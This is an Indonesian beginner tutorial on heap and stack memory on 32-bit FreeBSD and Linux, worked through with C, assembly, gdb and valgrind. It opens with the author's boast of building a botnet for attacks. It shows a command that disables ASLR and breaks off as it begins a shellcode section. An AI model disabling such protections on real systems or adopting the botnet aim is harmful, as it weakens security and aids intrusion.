=========Bermain main dengan heap dan stack di  FreeBSD 32
bit===============
Writer: ev1lut10n
Article Level : for beginner
"Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous
4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1
p3rs0n
0nly m4k1ng th1s)"
------------------------------------------
content:
- Foreword
- Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk)
- Valgrind & Alleyoop Memory Checker di linux 32 bit
- Bermain main dengan Stack di FreeBSD 8.2
- Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2
- Closing

-[ Foreword
]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak
disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk
pemula yg
ingin
bermain2 dengan heap dan stack di freebsd dan linux.

-[ Bermain main dengan Heap di FreeBSD 8.2
]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian
ini bisa dimanage / dipengaruhi dengan menggunakan
malloc , free, realloc, calloc, jemalloc (BSD), brk,delete.
Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused
(tidak terpakai), yang dimaksud unused adalah daerah .bss .
Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum
diisi, bagian ini akan diinialisasi saat run time.

~malloc()~~

Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan
malloc untuk alokasi memori heap:
------------------------------------------------------------
/**sample  heap (dynamic) memory allocation made by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main()
{
        if (fork() != 0)
         {
             exit(1);
          }
       char *bufer = (char *)malloc(sizeof(char));
       memset(bufer, 'A', sizeof(char)-1);
       printf("%p",bufer);
       printf("\n================\n");
       for(;;)
       {
       }
               return(0);
}
-----------------------------------------------------

misal diberi nama malloc.c lalu kompile dan jalankan:
-------------------------
ev1lut10n# gcc -o malloc malloc.c -g
ev1lut10n# ./malloc
0x28201100
================
ev1lut10n#
-------------------------

dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan
dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem
operasi beda beda).

coba kita tes di mesin satu lagi dengan os freebsd 6.2:
-----------
%uname -a
FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov  6
16:13:56 EST 2007     [email protected]:/usr/src/sys/i386/compile/MNET  i386
%./malloc
%0x804b030
----------------
you'll see that's pretty much different.
ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada
daerah heap:
--------------
/**malloc2 by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define UKURAN1 8
#define UKURAN2 8
#define UKURAN3 8
int main()
  {
          char *bafer = (char *)malloc(UKURAN1);
          memset(bafer, 'A', UKURAN1-1);
          char *bafer2 = (char *)malloc(UKURAN2);
          memset(bafer2, 'B', UKURAN2-1);
          char *bafer3 = (char *)malloc(UKURAN3);
          memset(bafer3, 'C', UKURAN3-1);
          printf("\nalamat heap bafer 1 adalah  %p\n", bafer);
          printf("\nstring dump bafer 1 adalah  %s\n", bafer);
          printf("\nalamat heap bafer 2 adalah  %p\n", bafer2);
          printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
          printf("\nalamat heap bafer 3 adalah  %p\n", bafer3);
          printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
          return 0;
  }
-----------
ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p

kompile lalu debug dengan gdb:
-----------------------
ev1lut10n# gcc -o malloc2 malloc2.c -g
ev1lut10n# gdb -q malloc2
(gdb) l
1       /**malloc2 by ev1lut10n**/
2       #include <stdio.h>
3       #include <stdlib.h>
4       #include <unistd.h>
5       #include <string.h>
6       #define UKURAN1 8
7       #define UKURAN2 8
8       #define UKURAN3 8
9       int main()
10         {
(gdb) l
11                 char *bafer = (char *)malloc(UKURAN1);
12                 memset(bafer, 'A', UKURAN1-1);
13                 char *bafer2 = (char *)malloc(UKURAN2);
14                 memset(bafer2, 'B', UKURAN2-1);
15                 char *bafer3 = (char *)malloc(UKURAN3);
16                 memset(bafer3, 'C', UKURAN3-1);
17                 printf("\nalamat heap bafer 1 adalah  %p\n", bafer);
18                 printf("\nstring dump bafer 1 adalah  %s\n", bafer);
19                 printf("\nalamat heap bafer 2 adalah  %p\n", bafer2);
20                 printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
(gdb) l
21                 printf("\nalamat heap bafer 3 adalah  %p\n", bafer3);
22                 printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
23                 return 0;
24         }
(gdb)

----------------------

selanjutnya break di line 23 dan tes run:

<img width=600
src="http://3.bp.blogspot.com/-KZE04w_sO8E/Tep4cvx6G6I/AAAAAAAAAgE/M9AtuI04Qcw/s1600/malloc.jpg"
width=600>

----------------
(gdb) b 23
Breakpoint 1 at 0x80485b1: file malloc2.c, line 23.
(gdb) run
Starting program: /root/c/malloc2

alamat heap bafer 1 adalah  0x28201050

string dump bafer 1 adalah  AAAAAAA

alamat heap bafer 2 adalah  0x28201058

string dump bafer 2 adalah  BBBBBBB

alamat heap bafer 3 adalah  0x28201060

string dump bafer 3 adalah  CCCCCCC

Breakpoint 1, main () at malloc2.c:23
23                 return 0;
(gdb) x/3s 0x28201050
0x28201050:      "AAAAAAA"  (673189968)
0x28201058:      "BBBBBBB"    (673189976)
0x28201060:      "CCCCCCC"    (673189984)
(gdb)
---------------------

dari dump string kita lihat length cuma 7 karena instruksi :
memset(bafer2, 'B', UKURAN2-1);  karena : #define UKURAN2 8 jadi 8-1=7

kita bandingkan sebentar dengan operasi pada stack, misal buat suatu
program dg nama strncpy.c :
--------------------------
/**sample stack operation local var by ev1lut10n**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc,char *argv[])
  {
          char *bafer[8];
          char *bafer2[8];
          char *bafer3[3];
               strncpy (bafer,argv[1],8);
               strncpy (bafer2,argv[2],8);
               strncpy (bafer3,argv[3],8);
          printf("\nalamat stack bafer 1 adalah  %p\n", bafer);
          printf("\nstring dump bafer 1 adalah  %s\n", bafer);
          printf("\nalamat stack bafer 2 adalah  %p\n", bafer2);
          printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
          printf("\nalamat stack bafer 3 adalah  %p\n", bafer3);
          printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
          return 0;
  }
------------------------------

kompile dengan opsi -g: dan debug dengan break di line 20
----------
ev1lut10n# gdb -q strncpy
(gdb) l
1       /**sample stack operation local var by ev1lut10n**/
2       #include <stdio.h>
3       #include <stdlib.h>
4       #include <unistd.h>
5       #include <string.h>
6       int main(int argc,char *argv[])
7          {
8                  char *bafer[8];
9                  char *bafer2[8];
10                 char *bafer3[3];
(gdb) l
11                      strncpy (bafer,argv[1],8);
12                      strncpy (bafer2,argv[2],8);
13                      strncpy (bafer3,argv[3],8);
14                 printf("\nalamat stack bafer 1 adalah  %p\n", bafer);
15                 printf("\nstring dump bafer 1 adalah  %s\n", bafer);
16                 printf("\nalamat stack bafer 2 adalah  %p\n", bafer2);
17                 printf("\nstring dump bafer 2 adalah  %s\n", bafer2);
18                 printf("\nalamat stack bafer 3 adalah  %p\n", bafer3);
19                 printf("\nstring dump bafer 3 adalah  %s\n", bafer3);
20                 return 0;
(gdb) b 20
Breakpoint 1 at 0x8048553: file strncpy.c, line 20.
(gdb) run AAAAAAA BBBBBBB CCCCCCC
Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC

alamat stack bafer 1 adalah  0xbfbfe990

string dump bafer 1 adalah  AAAAAAA

alamat stack bafer 2 adalah  0xbfbfe970

string dump bafer 2 adalah  BBBBBBB

alamat stack bafer 3 adalah  0xbfbfe964

string dump bafer 3 adalah  CCCCCCC

Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20
20                 return 0;
(gdb)
----------

ok jika kita bandingkan dengan debug program dengan operasi pada heap:

malloc2.c  (we're playing at heap):
-----------
0x28201050:      "AAAAAAA"  (673.189.968)
0x28201058:      "BBBBBBB"    (673.189.976)
0x28201060:      "CCCCCCC"    (673.189.984)
------------

di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat
memori akan bergerak ke atas  ke alamat yg lebih tinggi

strncpy.c (we're playin at stack area)
-------------------
0xbfbfe990:  "AAAAAAA" (3.217.025.424)
0xbfbfe970:  "BBBBBBB"   (3.217.025.392)
0xbfbfe964:  "CCCCCC"     (3.217.025.380)
-----------------

sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat
memori bergerak ke bawah ke alamat yang lebih rendah.

(alamat memori yang lebih rendah)

berikut ini gambaranya:

<img width=600
">src="http://4.bp.blogspot.com/-SxnbT57_atI/Tep4t6U8OCI/AAAAAAAAAgM/gY0L_oQ8Dfk/s1600/memlay.jpg">


----------penggunaan sys_brk di linux dan freebsd----------
Misal berikut ini contoh kode assembly untuk implementasi sys_brk

mov ebx, 0
mov eax, 0x2d  ;----------> syscall sys_brk
int 0x80
test eax, eax
js label_error_handling_here

ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori
yang tersedia maka ebx kita isi dengan zero.

setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0
jika minus
berarti terjadi kegagalan.

berikut ini contoh penggunaan sys_brk:

root@ev1lut10n-Vostro1310:~/asm# cat sys_brk.asm
global _start
section .text
_start:
       mov ebx, 0
       mov eax, 0x2d
       int 0x80
       cmp eax, 0
       jl gagal
       jmp sukses



;not efficient way dont do this in real code
sukses:
       mov     eax, 4
       mov     ebx, 1
       mov     ecx, berhasil
       mov     edx, pberhasil
       int     0x80

       mov eax,1
       mov ebx,0
       int 0x80


gagal:
       mov     eax, 4
       mov     ebx, 1
       mov     ecx, salah
       mov     edx, psalah
       int     0x80

       mov  eax,1
       mov ebx,0
       int 0x80

section .data
        salah             db "sys_brk gagal  !!!",10
        psalah equ    $ -salah

        berhasil             db "sys_brk berhasil  !!!",10
        pberhasil equ    $ -berhasil

root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm
root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o
root@ev1lut10n-Vostro1310:~/asm# ./sys_brk
sys_brk berhasil  !!!
root@ev1lut10n-Vostro1310:~/asm#

untuk mempermudah debugging tambahkan opsi -g



root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g
root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o



mari kita examine dengan strace

root@ev1lut10n-Vostro1310:~/asm# strace ./sys_brk
execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0
brk(0)                                  = 0x81e2000
write(1, "sys_brk berhasil  !!!\n", 22sys_brk berhasil  !!!
) = 22
_exit(0)                                = ?
root@ev1lut10n-Vostro1310:~/asm#

sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu:
-----------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep brk
#define SYS_sbrk        69
ev1lut10n#
------------------

jadi berikut ini rutin untuk memanggil sys brk:
-------------------------------------
       mov $0, %ebx
       mov  $45,%eax
       int $0x80
       test %eax, %eax
       js _gagal
----------------------------------
karena 69 desimal= 45 hexa

berikut ini contoh kode assembly untuk sys_brk:
========================
section .rodata
evilbuf:
       .ascii "sys_brk berhasil !"
      len = . - evilbuf
evilbuf2:
       .ascii "sys_brk gagal !"
       len2 = . - evilbuf2


globl  _start
_start:
       mov $0, %ebx
       mov  $45,%eax
       int $0x80
       test %eax, %eax
       js _gagal

       pushl $len
       pushl $evilbuf
       pushl $1
       movl $4,%eax
       pushl %eax
       int $0x80
       jmp _out

_gagal:
       pushl $len2
       pushl $evilbuf2
       pushl $1
       movl $4,%eax
       pushl %eax
       int $0x80


_out:
       movl $1, %eax
       pushl $0
       pushl %eax
       int $0x80
=============================




--[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32
bit]---------------------------------------------------------------------------------------------------------------------------------

Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind
biasa digunakan untuk debug memori, mendeteksi memory leak, dll.
Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di
atas, kali ini dites di linux :

<img width=600
">src="http://2.bp.blogspot.com/-6_nAGteZi_0/Tep412A6TsI/AAAAAAAAAgU/ibc7t1XB5Zs/s1600/fmtx.jpg">
------------
root@ev1lut10n-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space
2
-------------
keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan
dulu:
---------------
echo 0 > /proc/sys/kernel/randomize_va_space
-------------

setelah dimatikan alamat virtual address memori menjadi tetap :
-------------------------------
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008
================

root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008
================
-------------------------------

Untuk menguji dengan  Alleyoop :

<img width=600
src=http://3.bp.blogspot.com/-mg_bASA1wJ4/Tep5Bc-ZWwI/AAAAAAAAAgc/vnCbQDWYJ1k/s1600/valgrind.jpg>

valgrind bisa juga dites langsung dari cli:
---------------------
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# valgrind ./malloc
==13455== Memcheck, a memory error detector
==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright
info
==13455== Command: ./malloc
==13455==
0x4198028
================
==13455==
==13455== HEAP SUMMARY:
==13455==     in use at exit: 0 bytes in 0 blocks
==13455==   total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==13455==
==13455== All heap blocks were freed -- no leaks are possible
==13455==
==13455== For counts of detected and suppressed errors, rerun with: -v
==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6)
root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c#
------------------------------------------------



--[ Bermain main dengan Stack di FreeBSD
8.2]------------------------------------------------------------------------------------------------------------------------------

untuk memahami cara kerja stack mari kita buat sample program assembly
untuk bermain main dengan variabel lokal :
-----------------------
global _start
section .text
_start:
push   ebp
mov    ebp,esp
push   'AAAA'
push   'BBBB'
push   'CCCC'
push   'DDDD'
push   'EEEE'
push   'FFFF'
push   'GGGG'
push   'HHHH'
push 1
pop eax
int 80h
-------------------------

lakukan kompile dengan opsi -g :
nasm  -f elf stack.asm
ld -o stack stack.o

examine dengan gdb:
----------------------------------
ev1lut10n# gdb -q stack
(gdb) l
1       global _start
2       section .text
3       _start:
4       push   ebp
5       mov    ebp,esp
6       push   'AAAA'
7       push   'BBBB'
8       push   'CCCC'
9       push   'DDDD'
10      push   'EEEE'
(gdb) l
11      push   'FFFF'
12      push   'GGGG'
13      push   'HHHH'
14      push 1
15      pop eax
16      int 80h
(gdb) b 6
Breakpoint 2 at 0x8048083: file stack.asm, line 6.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/c/stack

Breakpoint 2, 0x08048083 in _start ()
(gdb) p $esp
$4 = (void *) 0xbfbfea30
(gdb) p $ebp
$5 = (void *) 0xbfbfea30
-----------------------

karena perintah:
--------------------------
mov    ebp,esp
--------------------------

---------------------
(gdb) b 7
Breakpoint 1 at 0x8048088: file stack.asm, line 7.
(gdb) run
Starting program: /root/c/stack

Breakpoint 1, 0x08048088 in _start ()
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbfbfea2c       0xbfbfea2c
ebp            0xbfbfea30       0xbfbfea30
esi            0x0      0
edi            0x0      0
eip            0x8048088        0x8048088
eflags         0x202    514
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x3b     59
(gdb)
---------------------


kita bisa lihat ada perubahan :

-----------------------------
esp             0xbfbfea2c      (3217025580)
ebp            0xbfbfea30       (3217025584)
---------------------------

di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA'
:
---------------------------
(gdb) x/s 0xbfbfea2c
0xbfbfea2c:      "AAAA"
(gdb)
--------------------------

push 'BBBB':
esp            0xbfbfea28       (3217025576)
ebp            0xbfbfea30       (3217025584)

(gdb) x/s  0xbfbfea28
0xbfbfea28:      "BBBBAAAA"
(gdb)

---------------
s/d HHHH:
esp            0xbfbfea10       (3217025552)
ebp            0xbfbfea30       (3217025584)

(gdb) x/s 0xbfbfea10
0xbfbfea10:      "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb)
------------------

Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan
operasi push, saat terjadi push nilai esp setiap kali kita melakukan push
selalu bergeser ke alamat memori yang lebih kecil,
Selisih antara ebp dan esp  ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal
= jumlah karakter yang telah dipush.

selanjutnya kita akan melakukan tes pop :

misal kita edit program tadi kita tambahkan pop:
pop.asm
------------------------
global _start
section .text
_start:
push   ebp
mov    ebp,esp
push   'AAAA'
push   'BBBB'
push   'CCCC'
push   'DDDD'
push   'EEEE'
push   'FFFF'
push   'GGGG'
push   'HHHH'
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
pop eax
push 1
pop eax
int 80h
-------------------------

dengan : pop eax berarti kita memindahkan top stack ke register eax.

simpan dengan nama misal : pop.asm lalu kompile dan debug:
------------
ev1lut10n# nasm -f elf pop.asm -g
ev1lut10n# ld -o pop pop.o
ev1lut10n# gdb -q pop
(gdb) l
1       global _start
2       section .text
3       _start:
4       push   ebp
5       mov    ebp,esp
6       push   'AAAA'
7       push   'BBBB'
8       push   'CCCC'
9       push   'DDDD'
10      push   'EEEE'
(gdb) l
11      push   'FFFF'
12      push   'GGGG'
13      push   'HHHH'
14      pop eax
15      pop eax
16      pop eax
17      pop eax
18      pop eax
19      pop eax
20      pop eax
(gdb) l
21      pop eax
22      push 1
23      pop eax
24      int 80h
(gdb) b 15
Breakpoint 1 at 0x80480ac: file pop.asm, line 15.
(gdb) run
Starting program: /root/c/pop

Breakpoint 1, 0x080480ac in _start ()
(gdb) i r
eax            0x48484848       1212696648
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbfbfea28       0xbfbfea28
ebp            0xbfbfea44       0xbfbfea44
esi            0x0      0
edi            0x0      0
eip            0x80480ac        0x80480ac
eflags         0x202    514
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x3b     59
(gdb) x/s 0xbfbfea28
0xbfbfea28:      "GGGGFFFFEEEEDDDDCCCCBBBBAAAA"
(gdb)
----------

kita di sini bisa lihat setelah dilakukan pop jika didump data berupa
string mulai dari 0xbfbfea28 maka sisanya adl:
GGGGFFFFEEEEDDDDCCCCBBBBAAAA
(Last in first Out)


-------------
ev1lut10n# gdb -q stack
(gdb) l
warning: Source file is more recent than executable.

1       global _start
2       section .text
3       _start:
4       push   ebp
5       mov    ebp,esp
6       push   'AAAA'
7       push   'BBBB'
8       push   'CCCC'
9       push   'DDDD'
10      push   'EEEE'
(gdb) l
11      push   'FFFF'
12      push   'GGGG'
13      push   'HHHH'
14      pop eax
15      pop eax
16      pop eax
17      pop eax
18      pop eax
19      pop eax
20      pop eax
(gdb) b 12
Breakpoint 1 at 0x80480a1: file stack.asm, line 12.
(gdb) run
Starting program: /root/c/stack

Breakpoint 1, 0x080480a1 in _start ()
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbfbfea1c       0xbfbfea1c
ebp            0xbfbfea34       0xbfbfea34
esi            0x0      0
edi            0x0      0
eip            0x80480a1        0x80480a1
eflags         0x202    514
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x3b     59
(gdb) x/s $ebp-4
0xbfbfea30:      "AAAA"
(gdb) x/s $ebp-8
0xbfbfea2c:      "BBBBAAAA"
(gdb) x/s $ebp-12
0xbfbfea28:      "CCCCBBBBAAAA"
(gdb) x/s $ebp-14
0xbfbfea26:      "DDCCCCBBBBAAAA"
(gdb) info frame
Stack level 0, frame at 0xbfbfea3c:
eip = 0x80480a1 in _start; saved eip 0x1
called by frame at 0x0
Arglist at 0xbfbfea34, args:
Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c
Saved registers:
 ebp at 0xbfbfea34, eip at 0xbfbfea38

----------------------------
di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan
tumpukan paling bawah dengan hasil dump :  "AAAA"
dan seterusnya...

Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan
pakai bahasa C untuk menguji coba parameter

ev1lut10n.c :
--------------------------------
#include <stdio.h>
int main(int argc,char **argv[])
{
printf("%s %s\n",argv[1],argv[2]);
printf("%08x %08x\n",argv[1],argv[2]);
return 0;
}
-------------------------------

kompile dan tes:
--------------
ev1lut10n# gcc -o ev1lut10n ev1lut10n.c -g
ev1lut10n# ./ev1lut10n a b
a b
bfbfebbb bfbfebbd
ev1lut10n#
----------------

ok mari kita debug:

----------------------
ev1lut10n# gdb -q ev1lut10n
(gdb) l
1       #include <stdio.h>
2       int main(int argc,char **argv[])
3       {
4       printf("%s %s\n",argv[1],argv[2]);
5       printf("%08x %08x\n",argv[1],argv[2]);
6       return 0;
7       }
8
(gdb) b 6
Breakpoint 1 at 0x804849c: file ev1lut10n.c, line 6.
(gdb) run AAAA BBBB
Starting program: /root/c/ev1lut10n AAAA BBBB
AAAA BBBB
bfbfeba1 bfbfeba6

Breakpoint 1, main (argc=3, argv=0xbfbfea18) at ev1lut10n.c:6
6       return 0;
(gdb)
-----------------------

string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori
0xbfbfeba1 :
-----------
(gdb) x/s 0xbfbfeba1
0xbfbfeba1:      "AAAA"
(gdb)
-------------

string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori
0xbfbfeba6
---------------
(gdb) x/s 0xbfbfeba6
0xbfbfeba6:      "BBBB"
(gdb) info frame
Stack level 0, frame at 0xbfbfe9d0:
eip = 0x804849c in main (ev1lut10n.c:6); saved eip 0x80483c7
source language c.
Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18
Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0
Saved registers:
 ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc
(gdb) x/30s 0xBFBFEB8D
0xbfbfeb8d:      ""
0xbfbfeb8e:      ""
0xbfbfeb8f:      ""
0xbfbfeb90:      "/root/c/ev1lut10n"
0xbfbfeba1:      "AAAA"
0xbfbfeba6:      "BBBB"
0xbfbfebab:      "COLUMNS=80"
0xbfbfebb6:      "LINES=24"
0xbfbfebbf:      "ORBIT_SOCKETDIR=/var/tmp/orbit-root"
0xbfbfebe3:      "WINDOWPATH=9"
0xbfbfebf0:      "DISPLAY=:0.0"
0xbfbfebfd:      "GNOME_KEYRING_PID=1974"
0xbfbfec14:      "GDM_KEYBOARD_LAYOUT=us"
0xbfbfec2b:      "LOGNAME=root"
0xbfbfec38:      "PWD=/root/c"
0xbfbfec44:      "HOME=/root"
---------------------


Gambaran Memori Saat printf  dipanggil dari main() :

------------------------------------------------
0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958)
0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953)
0xbfbfeb90 | parameter ke 0 (ebp+1c8)  | /root/c/ev1lut10n  (3217025936)
0xbfbfe9cc |  eip (ebp+4)  |  (3217025484)
0xbfbfe9c8 |  ebp | (3217025480)
0xbfbfe9b0 |  esp | (3217025456)
--------------------------------------------------

****contoh debugging program dengan operasi stack
---------------------
/**operasi stack di c by mr dom dom**/
#include <stdio.h>
void operasi_stak(char a[],char b[],char c[],char d[])
{

}
int main(int argc, char *argv[])
{
        operasi_stak("AAAA","BBBB","CCCC","DDDD");
        return 0;
}


-----------------------
misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g

lalu examine dengan gdb:

---------------
ev1lut10n# gdb -q stack
(gdb) l
1       /**operasi stack di c by mr dom dom**/
2       #include <stdio.h>
3       void operasi_stak(char a[],char b[],char c[],char d[])
4        {
5
6        }
7       int main(int argc, char *argv[])
8        {
9                operasi_stak("AAAA","BBBB","CCCC","DDDD");
10               return 0;
(gdb)

----------------------


Lakukan break di line 9  saat terjadinya operasi stack:
----------------
(gdb) b 9
Breakpoint 2 at 0x8048431: file stack.c, line 9.
--------------
tes run :
------------------
(gdb) run
Starting program: /root/artikel/c/stack

Breakpoint 1, main () at stack.c:9
warning: Source file is more recent than executable.

9                operasi_stak("AAAA","BBBB","CCCC","DDDD");
(gdb)


----------------

lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai
dari main):
----------------------------------
(gdb) x/16i main
0x8048420 <main>:       lea    0x4(%esp),%ecx
0x8048424 <main+4>:     and    $0xfffffff0,%esp
0x8048427 <main+7>:     pushl  0xfffffffc(%ecx)
0x804842a <main+10>:    push   %ebp
0x804842b <main+11>:    mov    %esp,%ebp
0x804842d <main+13>:    push   %ecx
0x804842e <main+14>:    sub    $0x10,%esp
0x8048431 <main+17>:    movl   $0x8048501,0xc(%esp)
0x8048439 <main+25>:    movl   $0x8048506,0x8(%esp)
0x8048441 <main+33>:    movl   $0x804850b,0x4(%esp)
0x8048449 <main+41>:    movl   $0x8048510,(%esp)
0x8048450 <main+48>:    call   0x8048410 <operasi_stak>
0x8048455 <main+53>:    mov    $0x0,%eax
0x804845a <main+58>:    add    $0x10,%esp
0x804845d <main+61>:    pop    %ecx
0x804845e <main+62>:    pop    %ebp
(gdb) step
operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC",
   d=0x8048501 "DDDD") at stack.c:6
6        }
(gdb) info frame
Stack level 0, frame at 0xbfbfe994:
eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455
called by frame at 0xbfbfe9b0
source language c.
Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB",
   c=0x8048506 "CCCC", d=0x8048501 "DDDD"
Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994
Saved registers:
 ebp at 0xbfbfe98c, eip at 0xbfbfe990
(gdb)
-----------------------

(alamat memori: 0x8048420  s/d 0x804845e  merupakan bagian segment .text)

* penjelasan instruksi assembly yang didump:
ok jika kita lihat pertama 2 : lea    0x4(%esp),%ecx , di sini untuk
menyimpan alamat dari argumen ke 0 ke register cx (ebp-4).
selanjutnya diikuti oleh rutin: and    $0xfffffff0,%esp,  perhatian
$0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke
biner:
0xfffffff0 = 11111111111111111111111111110000
selanjutnya instruksi : pushl  0xfffffffc(%ecx) atau bisa juga ditulis:
mov dword ptr[ebp-4],1

selanjutnya akan dipersiapkan stack frame pointer baru :
push   %ebp
mov    %esp,%ebp

variabel diinput ke stack  mulai dari yang paling kanan dan selanjutnya
s/d ke kiri:
string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC
dst
------------------------
(gdb) x/4s 0x8048501
0x8048501 <_fini+101>:   "DDDD"
0x8048506 <_fini+106>:   "CCCC"
0x804850b <_fini+111>:   "BBBB"
0x8048510 <_fini+116>:   "AAAA"
(gdb)
--------------------
berada pada region elf <fini>. Pada saat fungsi dipanggil maka alamat eip
untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame
pointer
---------------------------------------

jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan
parameter serta stack frame pointer kurang lebih seperti ini:

<img width=600
">src="http://3.bp.blogspot.com/-4JBSqswd-wA/Tep5HZoBd7I/AAAAAAAAAgk/48PN7k6azpY/s1600/fmt2.jpg">

Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi
kode selanjutnya. ebp disebut juga frame pointer.

eip  0xbfbfea38  (3217025592)
ebp 0xbfbfea34  (3217025588)

Untuk lebih detailnya gambaranya adl sbb:

<img width=600
">src="http://3.bp.blogspot.com/-TH8hsXRwWgU/Tep5N_UbElI/AAAAAAAAAgs/5JzDBX48VSE/s1600/fmt3.jpg">

-----------------
-[Membuat  shellcode di Freebsd 8.2
]-----------------------------------------------------------------------------------------------------------------------------

"mengakses register lebih cepat dari mengakses memori karena register ada
di cpu dan memori baru terhubung ke cpu melalui bus"

kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit
------------------------
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n#
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di
/usr/include/sys/syscall.h

-------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid      23
-------------------

jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex

untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
ev1lut10n# cat /usr/include/unistd.h | grep setuid
int      setuid(uid_t);
---------------------------

terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan
pemasukanya selalu : eax, ebx, ecx, edx, esi

